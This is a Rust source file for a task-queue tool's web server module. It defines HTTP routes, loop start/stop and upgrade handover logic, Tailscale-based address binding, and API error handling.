1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 || self.talks.turn_held(id)
684 }
685
686 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
705 self.claim_talk_turn(id, false)
706 }
707
708 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
711 self.claim_talk_turn(id, true)
712 }
713
714 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
715 let mut live = self
716 .talk_turns
717 .lock()
718 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
719 let inserted = live.live.insert(id.to_owned());
720 let lease = if inserted {
724 match self.talks.claim_turn(id) {
725 Ok(Some(lease)) => Some(lease),
726 Ok(None) => {
727 live.live.remove(id);
728 None
729 }
730 Err(e) => {
731 live.live.remove(id);
732 return Err(ApiError::from(e));
733 }
734 }
735 } else {
736 None
737 };
738 if lease.is_none() {
739 if queued {
740 *live.queued.entry(id.to_owned()).or_default() += 1;
745 }
746 return Ok(None);
747 }
748 Ok(Some(TalkTurnGuard {
749 talk: id.to_owned(),
750 turns: Arc::clone(&self.talk_turns),
751 released: false,
752 lease,
753 }))
754 }
755
756 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
761 let mut live = self
762 .talk_turns
763 .lock()
764 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
765 if live.live.contains(id) {
766 return Ok(TalkTurnStart::Busy);
767 }
768 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
769 return Ok(TalkTurnStart::Foreign);
770 };
771 let talk = self.talks.get(id).map_err(ApiError::from)?;
773 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
774 return Ok(TalkTurnStart::Pending);
775 }
776 live.live.insert(id.to_owned());
777 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
778 talk: id.to_owned(),
779 turns: Arc::clone(&self.talk_turns),
780 released: false,
781 lease: Some(lease),
782 }))
783 }
784
785 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
792 let parking = {
793 let mut state = self.lock_loop();
794 let resume = state.resume_after_handover
804 || state
805 .live
806 .as_ref()
807 .is_some_and(|live| live.alive() && !live.stop.stopped());
808 state.resume_after_handover = resume;
809 let Some(live) = state.live.as_ref() else {
810 return Ok(None);
811 };
812 let busy = live.stop.busy_now();
813 live.stop.park();
814 state.rev += 1;
815 busy
816 };
817 Ok(if parking {
818 daemon::current_work(&self.home, jiff::Timestamp::now())
823 .into_iter()
824 .next()
825 .map(|c| c.run)
826 } else {
827 None
828 })
829 }
830
831 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
835 let mut live = self
836 .resuming
837 .lock()
838 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
839 if !live.insert(id.to_owned()) {
840 return Err(ApiError::conflict(format!(
841 "run {id} is already being resumed"
842 )));
843 }
844 Ok(ResumeGuard {
845 run: id.to_owned(),
846 resuming: Arc::clone(&self.resuming),
847 })
848 }
849
850 pub fn router(self) -> Router {
858 Router::new()
859 .route("/", get(index))
860 .route("/app.css", get(app_css))
861 .route("/app.js", get(app_js))
862 .route("/api/health", get(health))
863 .route("/api/loop", get(loop_get).post(loop_post))
864 .route("/api/upgrade", post(upgrade_post))
865 .route("/api/runs", get(runs_list))
866 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
867 .route("/api/runs/{id}/report", get(run_report))
868 .route("/api/runs/{id}/report.json", get(run_report_json))
869 .route("/api/runs/{id}/fold", post(run_fold))
870 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
871 .route("/api/runs/{id}/resume", post(run_resume))
872 .route("/api/queue", get(queue_list))
873 .route("/api/search", get(search_get))
874 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
875 .route("/api/stats", get(stats_get))
876 .route("/api/repos", get(repos_list))
877 .route("/api/settings", get(settings_get))
878 .route("/api/settings/roles", put(settings_put_roles))
879 .route("/api/queue/{id}/hold", post(queue_hold))
880 .route("/api/queue/{id}/release", post(queue_release))
881 .route("/api/queue/{id}/priority", post(queue_priority))
882 .route("/api/queue/{id}/edit", post(queue_edit))
883 .route("/api/queue/{id}/done", post(queue_done))
884 .route("/api/questions", get(questions_list))
885 .route("/api/questions/{id}/answer", post(question_answer))
886 .route("/api/questions/{id}/say", post(question_say))
887 .route("/api/questions/{id}/consult", post(question_consult))
888 .route("/api/questions/{id}/panel", get(question_panel))
889 .route("/api/questions/{id}/panel/index.html", get(question_panel))
897 .route("/api/questions/{id}/panel/{name}", get(question_asset))
898 .route("/api/questions/{id}/asset/{name}", get(question_asset))
899 .route("/api/notifications", get(notifications_list))
900 .route("/api/notifications/read-all", post(notifications_read_all))
901 .route("/api/notifications/{id}/read", post(notification_read))
902 .route(
903 "/api/notifications/{id}/dismiss",
904 post(notification_dismiss),
905 )
906 .route("/api/talks", get(talks_list).post(talk_post))
907 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
908 .route("/api/talks/{id}/say", post(talk_say))
909 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
910 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
911 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
912 .route("/api/talks/{id}/agent", post(talk_agent))
913 .route("/api/talks/{id}/close", post(talk_close))
914 .route("/api/talks/{id}/reopen", post(talk_reopen))
915 .route(
921 "/api/talks/{id}/attachments",
922 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
923 )
924 .route(
925 "/api/talks/{id}/attachments/{att}",
926 get(talk_attachment_get),
927 )
928 .route("/api/events", get(events))
929 .with_state(Arc::new(self))
930 }
931}
932
933#[derive(Debug)]
939struct TalkTurnGuard {
940 talk: String,
941 turns: Arc<Mutex<TalkTurns>>,
942 released: bool,
943 lease: Option<crate::talk::TurnLease>,
945}
946
947#[derive(Debug, Default)]
954struct TalkTurns {
955 live: HashSet<String>,
956 queued: HashMap<String, u64>,
957}
958
959enum TalkTurnStart {
962 Claimed(TalkTurnGuard),
963 Busy,
964 Foreign,
967 Pending,
968}
969
970impl TalkTurnGuard {
971 fn owns(&self) -> bool {
975 self.lease
976 .as_ref()
977 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
978 }
979
980 async fn respond(
983 &self,
984 talk: &mut Talk,
985 talks: &Talks,
986 cfg: &Config,
987 text: &str,
988 ) -> anyhow::Result<()> {
989 match &self.lease {
990 Some(lease) => lease
991 .beating(talk::respond(talk, talks, cfg, text))
992 .await
993 .and_then(|done| done),
994 None => talk::respond(talk, talks, cfg, text).await,
995 }
996 }
997
998 fn release(mut self, live: &mut TalkTurns) {
1001 live.live.remove(&self.talk);
1002 live.queued.remove(&self.talk);
1003 self.lease = None;
1004 self.released = true;
1005 }
1006}
1007
1008impl Drop for TalkTurnGuard {
1009 fn drop(&mut self) {
1010 if self.released {
1011 return;
1012 }
1013 if let Ok(mut live) = self.turns.lock() {
1014 live.live.remove(&self.talk);
1015 live.queued.remove(&self.talk);
1016 }
1017 }
1018}
1019
1020struct ResumeGuard {
1022 run: String,
1023 resuming: Arc<Mutex<HashSet<String>>>,
1024}
1025
1026impl Drop for ResumeGuard {
1027 fn drop(&mut self) {
1028 if let Ok(mut live) = self.resuming.lock() {
1029 live.remove(&self.run);
1030 }
1031 }
1032}
1033
1034async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1044 const WINDOW: Duration = Duration::from_secs(10);
1045 const GAP: Duration = Duration::from_millis(250);
1046
1047 let deadline = std::time::Instant::now() + WINDOW;
1048 let mut said = false;
1049 loop {
1050 match tokio::net::TcpListener::bind(socket).await {
1051 Ok(listener) => return Ok(listener),
1052 Err(e)
1053 if e.kind() == std::io::ErrorKind::AddrInUse
1054 && std::time::Instant::now() < deadline =>
1055 {
1056 if !said {
1057 said = true;
1058 tracing::info!(
1059 "{socket} is still held - waiting up to {}s for it, \
1060 which is what a restart looks like from here",
1061 WINDOW.as_secs()
1062 );
1063 }
1064 tokio::time::sleep(GAP).await;
1065 }
1066 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1067 }
1068 }
1069}
1070
1071static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1074
1075const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1077
1078fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1080 value.is_some_and(|v| v == "1")
1081}
1082
1083fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1106 let exe = std::env::current_exe().context("find this binary")?;
1107 let args: Vec<String> = std::env::args().skip(1).collect();
1108 updater::log_step(
1109 home,
1110 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1111 );
1112 let log_path = home.join(WEB_LOG);
1113 let open_log = || {
1114 std::fs::create_dir_all(home)?;
1115 std::fs::OpenOptions::new()
1116 .create(true)
1117 .append(true)
1118 .open(&log_path)
1119 };
1120 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1121 Ok(pair) => (
1122 std::process::Stdio::from(pair.0),
1123 std::process::Stdio::from(pair.1),
1124 ),
1125 Err(e) => {
1126 updater::log_warn(
1127 home,
1128 &format!(
1129 "could not open {}: {e}; the successor logs nowhere",
1130 log_path.display()
1131 ),
1132 );
1133 (std::process::Stdio::null(), std::process::Stdio::null())
1134 }
1135 };
1136
1137 let mut cmd = std::process::Command::new(&exe);
1138 if resume {
1139 cmd.env(RESUME_LOOP_ENV, "1");
1140 } else {
1141 cmd.env_remove(RESUME_LOOP_ENV);
1142 }
1143 cmd.args(&args)
1144 .stdin(std::process::Stdio::null())
1145 .stdout(out)
1146 .stderr(err);
1147 #[cfg(windows)]
1148 {
1149 use std::os::windows::process::CommandExt as _;
1150 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1153 }
1154 let child = cmd.spawn().context("start the successor")?;
1155 Ok(child.id())
1156}
1157
1158const WEB_LOG: &str = "web.log";
1160
1161async fn wait_for_handover(signal: &Notify) {
1165 signal.notified().await;
1166}
1167
1168pub async fn serve(opts: Opts) -> Result<()> {
1193 let (addr, warning) = resolve_bind(&opts.bind);
1194 if let Some(warning) = warning {
1195 tracing::warn!("{warning}");
1196 }
1197
1198 report::set_color(false);
1204
1205 let repo = normalize_default_repo(opts.repo).await;
1206 let ui = Ui::open(repo).with_merge(opts.merge);
1207 let home = ui.home.clone();
1212 let repo = ui.repo.clone();
1213 updater::reconcile_after_restart(&home);
1218 updater::log_step(
1219 &home,
1220 &format!(
1221 "web process started (version {}); handover log {}, successor output {}",
1222 env!("CARGO_PKG_VERSION"),
1223 updater::log_path(&home).display(),
1224 home.join(WEB_LOG).display()
1225 ),
1226 );
1227 updater::spawn_watchdog(home.clone());
1228 tokio::spawn(run_update_recheck(repo, home.clone()));
1237 let looping = ui.looping();
1238 let socket = SocketAddr::new(addr, opts.port);
1239 let listener = bind_waiting(socket).await?;
1240 let url = format!("http://{addr}:{}", opts.port);
1241 tracing::info!(
1242 "magi web UI on {url} - there is no authentication, so anyone who can \
1243 reach this address can file and hold tasks: the tailnet is the \
1244 security boundary"
1245 );
1246 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1247 tracing::info!("resumed the loop the predecessor was running");
1248 } else {
1249 tracing::info!(
1250 "the queue loop is not running yet - start it from the UI, which is \
1251 the whole reason this process can: nothing in the queue moves until \
1252 something is running the loop"
1253 );
1254 }
1255 if opts.open {
1256 println!("{url}");
1260 }
1261
1262 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1265 let interrupted = async {
1266 if tokio::signal::ctrl_c().await.is_err() {
1267 std::future::pending::<()>().await;
1272 }
1273 };
1274 let handover = wait_for_handover(&HANDOVER);
1275 let outcome = tokio::select! {
1276 joined = &mut served => match joined {
1277 Ok(outcome) => outcome.context("serve the web UI"),
1278 Err(e) => Err(e).context("the task serving the web UI ended"),
1279 },
1280 () = interrupted => {
1281 tracing::info!("shutting down the web UI");
1282 finish_loop(&home, &looping).await;
1283 Ok(())
1284 }
1285 () = handover => {
1286 updater::log_step(&home, "serve: the select! woke on the handover signal");
1287 let successor_home = home.clone();
1288 hand_over(&home, &looping, served, move |resume| {
1289 spawn_successor(&successor_home, resume)
1290 })
1291 .await
1292 }
1293 };
1294 updater::log_step(
1295 &home,
1296 &match &outcome {
1297 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1298 Err(e) => format!("serve: returning an error: {e:#}"),
1299 },
1300 );
1301 outcome
1302}
1303
1304async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1325 if repo != FsPath::new(".") {
1326 return repo;
1327 }
1328 let Ok(canonical) = repo.canonicalize() else {
1329 return repo;
1330 };
1331 if git::toplevel(&canonical).await.is_ok() {
1332 return repo;
1333 }
1334 let Some(home) = dirs::home_dir() else {
1335 return repo;
1336 };
1337 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1338 Some(found) => {
1339 tracing::info!(
1340 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1341 canonical.display(),
1342 found.path.display(),
1343 found.reason,
1344 );
1345 found.path
1346 }
1347 None => repo,
1348 }
1349}
1350
1351async fn hand_over(
1381 home: &FsPath,
1382 looping: &Mutex<LoopState>,
1383 served: tokio::task::JoinHandle<std::io::Result<()>>,
1384 successor: impl FnOnce(bool) -> Result<u32>,
1385) -> Result<()> {
1386 updater::log_step(home, "hand_over: entered; writing the parking stage");
1387 match updater::read_progress(home) {
1388 Some(mut progress) => {
1389 progress.advance(updater::Stage::Parking);
1390 updater::write_progress_logged(home, &progress);
1391 }
1392 None => updater::log_warn(
1393 home,
1394 "hand_over: upgrade.json is unreadable; no parking stage",
1395 ),
1396 }
1397 finish_loop(home, looping).await;
1398 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1399 served.abort();
1400 let _ = served.await;
1401 updater::log_step(home, "hand_over: listener released");
1402 let resume = lock_or_recover(looping).resume_after_handover;
1405 match updater::read_progress(home) {
1406 Some(mut progress) => {
1407 progress.advance(updater::Stage::Restarting);
1408 updater::write_progress_logged(home, &progress);
1409 }
1410 None => updater::log_warn(
1411 home,
1412 "hand_over: upgrade.json is unreadable; no restarting stage",
1413 ),
1414 }
1415 updater::log_step(
1416 home,
1417 &format!("hand_over: starting the successor (resume={resume})"),
1418 );
1419 match successor(resume) {
1420 Ok(pid) => {
1421 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1422 Ok(())
1423 }
1424 Err(e) => {
1425 updater::log_warn(
1426 home,
1427 &format!("hand_over: the successor did not start: {e:#}"),
1428 );
1429 Err(e)
1430 }
1431 }
1432}
1433
1434async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1441 let live = lock_or_recover(state).live.take();
1442 let Some(live) = live else {
1443 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1444 return;
1445 };
1446 live.stop.stop();
1447 lock_or_recover(state).rev += 1;
1448 updater::log_step(
1449 home,
1450 "finish_loop: waiting for the loop to finish the run in flight",
1451 );
1452 let waited = std::time::Instant::now();
1453 let _ = live.handle.await;
1456 updater::log_step(
1457 home,
1458 &format!(
1459 "finish_loop: the loop ended after {:.1}s",
1460 waited.elapsed().as_secs_f32()
1461 ),
1462 );
1463}
1464
1465pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1471 match bind {
1472 Bind::Addr(addr) => (*addr, None),
1473 Bind::Auto => match tailscale_ip() {
1474 Ok(ip) => (IpAddr::V4(ip), None),
1475 Err(why) => (
1476 IpAddr::V4(Ipv4Addr::LOCALHOST),
1477 Some(format!(
1478 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1479 local-only and a phone cannot reach it; start Tailscale \
1480 or pass --bind <addr>"
1481 )),
1482 ),
1483 },
1484 }
1485}
1486
1487fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1495 let out = std::process::Command::new("tailscale")
1496 .args(["ip", "-4"])
1497 .quiet()
1498 .output()
1499 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1500 if !out.status.success() {
1501 let why = String::from_utf8_lossy(&out.stderr);
1502 let why = why.trim();
1503 return Err(format!(
1504 "`tailscale ip -4` failed ({}){}",
1505 out.status,
1506 if why.is_empty() {
1507 String::new()
1508 } else {
1509 format!(": {why}")
1510 }
1511 ));
1512 }
1513 String::from_utf8_lossy(&out.stdout)
1514 .lines()
1515 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1516 .find(is_tailnet)
1517 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1518}
1519
1520fn is_tailnet(ip: &Ipv4Addr) -> bool {
1522 let o = ip.octets();
1523 o[0] == 100 && (64..=127).contains(&o[1])
1524}
1525
1526type ApiResult<T> = std::result::Result<T, ApiError>;
1530
1531#[derive(Debug)]
1533struct ApiError {
1534 status: StatusCode,
1535 message: String,
1536}
1537
1538impl ApiError {
1539 fn bad_request(message: impl Into<String>) -> Self {
1541 Self {
1542 status: StatusCode::BAD_REQUEST,
1543 message: message.into(),
1544 }
1545 }
1546
1547 fn not_found(message: impl Into<String>) -> Self {
1549 Self {
1550 status: StatusCode::NOT_FOUND,
1551 message: message.into(),
1552 }
1553 }
1554
1555 fn with_status(mut self, status: StatusCode) -> Self {
1558 self.status = status;
1559 self
1560 }
1561
1562 fn bad_request_from(e: anyhow::Error) -> Self {
1566 Self::bad_request(format!("{e:#}"))
1567 }
1568
1569 fn conflict(message: impl Into<String>) -> Self {
1570 Self {
1571 status: StatusCode::CONFLICT,
1572 message: message.into(),
1573 }
1574 }
1575
1576 fn internal(message: impl Into<String>) -> Self {
1578 Self {
1579 status: StatusCode::INTERNAL_SERVER_ERROR,
1580 message: message.into(),
1581 }
1582 }
1583}
1584
1585impl From<anyhow::Error> for ApiError {
1586 fn from(e: anyhow::Error) -> Self {
1591 Self::internal(format!("{e:#}"))
1592 }
1593}
1594
1595impl IntoResponse for ApiError {
1596 fn into_response(self) -> Response {
1597 let body = serde_json::json!({ "error": self.message });
1598 (self.status, Json(body)).into_response()
1599 }
1600}
1601
1602async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1611where
1612 T: Send + 'static,
1613{
1614 match tokio::task::spawn_blocking(job).await {
1615 Ok(result) => result,
1616 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1617 }
1618}
1619
1620const ASSET_CACHE: &str = "no-cache, must-revalidate";
1638
1639fn asset_etag() -> &'static str {
1646 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1647 format!(
1648 "\"{}-{}\"",
1649 env!("CARGO_PKG_VERSION"),
1650 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1655 )
1656 });
1657 &TAG
1658}
1659
1660fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1662 [
1663 (header::CONTENT_TYPE, mime),
1664 (header::CACHE_CONTROL, ASSET_CACHE),
1665 (header::ETAG, asset_etag()),
1666 ]
1667}
1668
1669fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1677 let tag = asset_etag();
1678 let known = headers
1679 .get(header::IF_NONE_MATCH)
1680 .and_then(|v| v.to_str().ok())
1681 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1685 if known {
1686 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1687 }
1688 (asset_headers(mime), body).into_response()
1689}
1690
1691async fn index(headers: header::HeaderMap) -> Response {
1692 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1693}
1694
1695async fn app_css(headers: header::HeaderMap) -> Response {
1696 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1697}
1698
1699async fn app_js(headers: header::HeaderMap) -> Response {
1700 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1701}
1702
1703#[derive(Debug, Serialize)]
1705struct HealthView {
1706 version: &'static str,
1707 home: String,
1708 queue_rev: u64,
1709 runs_rev: u64,
1710 questions_rev: u64,
1722 talks_rev: u64,
